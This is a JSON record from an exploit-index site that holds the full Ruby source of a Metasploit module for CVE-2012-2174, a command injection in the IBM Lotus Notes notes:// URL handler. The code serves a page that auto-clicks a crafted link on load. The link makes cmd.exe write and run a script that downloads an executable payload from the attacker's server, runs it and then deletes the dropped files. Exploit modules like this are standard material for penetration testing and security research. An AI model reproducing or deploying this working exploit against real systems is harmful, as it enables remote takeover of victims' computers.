{"exploit":{"id":"MSF-windows--browser--notes_handler_cmdinject","name":"IBM Lotus Notes Client URL Handler Command Injection","description":"This module exploits a command injection vulnerability in the URL handler for for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with a specially crafted notes:// URL to execute arbitrary commands with also arbitrary arguments. This module has been tested successfully on Windows XP SP3 with IE8, Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.","cves":["CVE-2012-2174"],"author":"Moritz Jodeit, Sean de Regge, juan vazquez","published":"2012-06-18","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/notes_handler_cmdinject.rb","path":"modules/exploits/windows/browser/notes_handler_cmdinject.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"notes_handler_cmdinject.rb","vulnerabilities":[{"id":"CVE-2012-2174","state":"PUBLISHED","title":null,"titleSource":null,"description":"The URL handler in IBM Lotus Notes 8.x before 8.5.3 FP2 allows remote attackers to execute arbitrary code via a crafted notes:// URL.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-2174","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-2174"},"updatedAt":"2024-08-06T19:26:08.525Z","retrievedAt":"2026-11-26T13:08:45.289Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--notes_handler_cmdinject.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--notes_handler_cmdinject","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--notes_handler_cmdinject/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--notes_handler_cmdinject/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"IBM Lotus Notes Client URL Handler Command Injection\",\n        'Description' => %q{\n          This module exploits a command injection vulnerability in the URL handler for\n          for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with\n          a specially crafted notes:// URL to execute arbitrary commands with also arbitrary\n          arguments. This module has been tested successfully on Windows XP SP3 with IE8,\n          Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Moritz Jodeit', # Vulnerability discovery\n          'Sean de Regge', # Vulnerability analysis\n          'juan vazquez' # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2012-2174' ],\n          [ 'OSVDB', '83063' ],\n          [ 'BID', '54070' ],\n          [ 'ZDI', '12-154' ],\n          [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],\n          [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]\n        ],\n        'Payload' => {\n          'Space' => 2048,\n          'StackAdjustment' => -3500\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"none\",\n          'InitialAutoRunScript' => 'migrate -k -f'\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Automatic', {} ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-06-18',\n        'DefaultTarget' => 0,\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_fs_delete_file\n              stdapi_sys_config_getenv\n            ]\n          }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n      ]\n    )\n  end\n\n  def exploit\n    @exe_name = rand_text_alpha(2) + \".exe\"\n    @stage_name = rand_text_alpha(2) + \".js\"\n    super\n  end\n\n  def on_new_session(session)\n    if session.type == \"meterpreter\"\n      session.core.use(\"stdapi\") unless session.ext.aliases.include?(\"stdapi\")\n\n      @dropped_files.delete_if do |file|\n        win_file = file.gsub(\"/\", \"\\\\\\\\\")\n        begin\n          wintemp = session.sys.config.getenv('TEMP')\n          win_file = \"#{wintemp}\\\\#{win_file}\"\n          # Meterpreter should do this automatically as part of\n          # fs.file.rm().  Until that has been implemented, remove the\n          # read-only flag with a command.\n          session.shell_command_token(%Q|attrib.exe -r \"#{win_file}\"|)\n          session.fs.file.rm(win_file)\n          print_good(\"Deleted #{file}\")\n          true\n        rescue ::Rex::Post::Meterpreter::RequestError\n          print_error(\"Failed to delete #{win_file}\")\n          false\n        end\n      end\n    end\n  end\n\n  def on_request_uri(cli, request)\n    if request.uri =~ /\\.exe$/\n      return if ((p = regenerate_payload(cli)) == nil)\n\n      register_file_for_cleanup(\"#{@stage_name}\") unless @dropped_files and @dropped_files.include?(\"#{@stage_name}\")\n      register_file_for_cleanup(\"#{@exe_name}\") unless @dropped_files and @dropped_files.include?(\"#{@exe_name}\")\n      data = generate_payload_exe({ :code => p.encoded })\n      print_status(\"Sending payload\")\n      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n      return\n    end\n\n    uri = \"#{get_uri(cli)}/#{rand_text_alpha(rand(6) + 3)}.exe\"\n\n    script = \"var w=new ActiveXObject('wscript.shell');\"\n    script << \"w.CurrentDirectory=w.ExpandEnvironmentStrings('\\\\%TEMP\\\\%');\"\n    script << \"var x=new ActiveXObject('Microsoft.XMLHTTP');\"\n    script << \"x.open('GET','#{uri}', false);\"\n    script << \"x.send();\"\n    script << \"var s=new ActiveXObject('ADODB.Stream');\"\n    script << \"s.Mode=3;\"\n    script << \"s.Type=1;\"\n    script << \"s.Open();\"\n    script << \"s.Write(x.responseBody);\"\n    script << \"s.SaveToFile('#{@exe_name}',2);\"\n    script << \"w.Run('#{@exe_name}');\"\n\n    vmargs = \"/q /s /c echo #{script} > %TEMP%\\\\\\\\#{@stage_name}& start cscript %TEMP%\\\\\\\\#{@stage_name}& REM\"\n\n    link_id = rand_text_alpha(5 + rand(5))\n\n    js_click_link = %Q|\n    function clickLink(link) {\n      var cancelled = false;\n\n      if (document.createEvent) {\n        var event = document.createEvent(\"MouseEvents\");\n        event.initMouseEvent(\"click\", true, true, window,\n          0, 0, 0, 0, 0,\n          false, false, false, false,\n          0, null);\n        cancelled = !link.dispatchEvent(event);\n      }\n      else if (link.fireEvent) {\n        cancelled = !link.fireEvent(\"onclick\");\n      }\n\n      if (!cancelled) {\n        window.location = link.href;\n      }\n    }\n    |\n\n    if datastore['OBFUSCATE']\n      js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)\n      js_click_link.obfuscate(memory_sensitive: true)\n      js_click_link_fn = js_click_link.sym('clickLink')\n    else\n      js_click_link_fn = 'clickLink'\n    end\n\n    html = <<-EOS\n    <html>\n    <head>\n    <script>\n    #{js_click_link}\n    </script>\n    </head>\n    <body onload=\"#{js_click_link_fn}(document.getElementById('#{link_id}'));\">\n    <a id=\"#{link_id}\" href=\"notes://#{rand_text_alpha_upper(3 + rand(3))}/#{rand_text_alpha_lower(3 + rand(3))} -RPARAMS java -vm c:\\\\windows\\\\system32\\\\cmd.exe -vmargs #{vmargs}\"></a>\n    </body>\n    </html>\n    EOS\n\n    print_status(\"Sending html\")\n    send_response(cli, html, { 'Content-Type' => 'text/html' })\n  end\nend\n","sha256":"a274699781f38ab4edc9ba44bf830c3c0e402017ec029b89d1fb5bb69b167c0c","bytes":6023,"fetchedAt":"2026-11-26T13:08:41.995Z","encoding":"utf-8 (display only; download retains original bytes)"}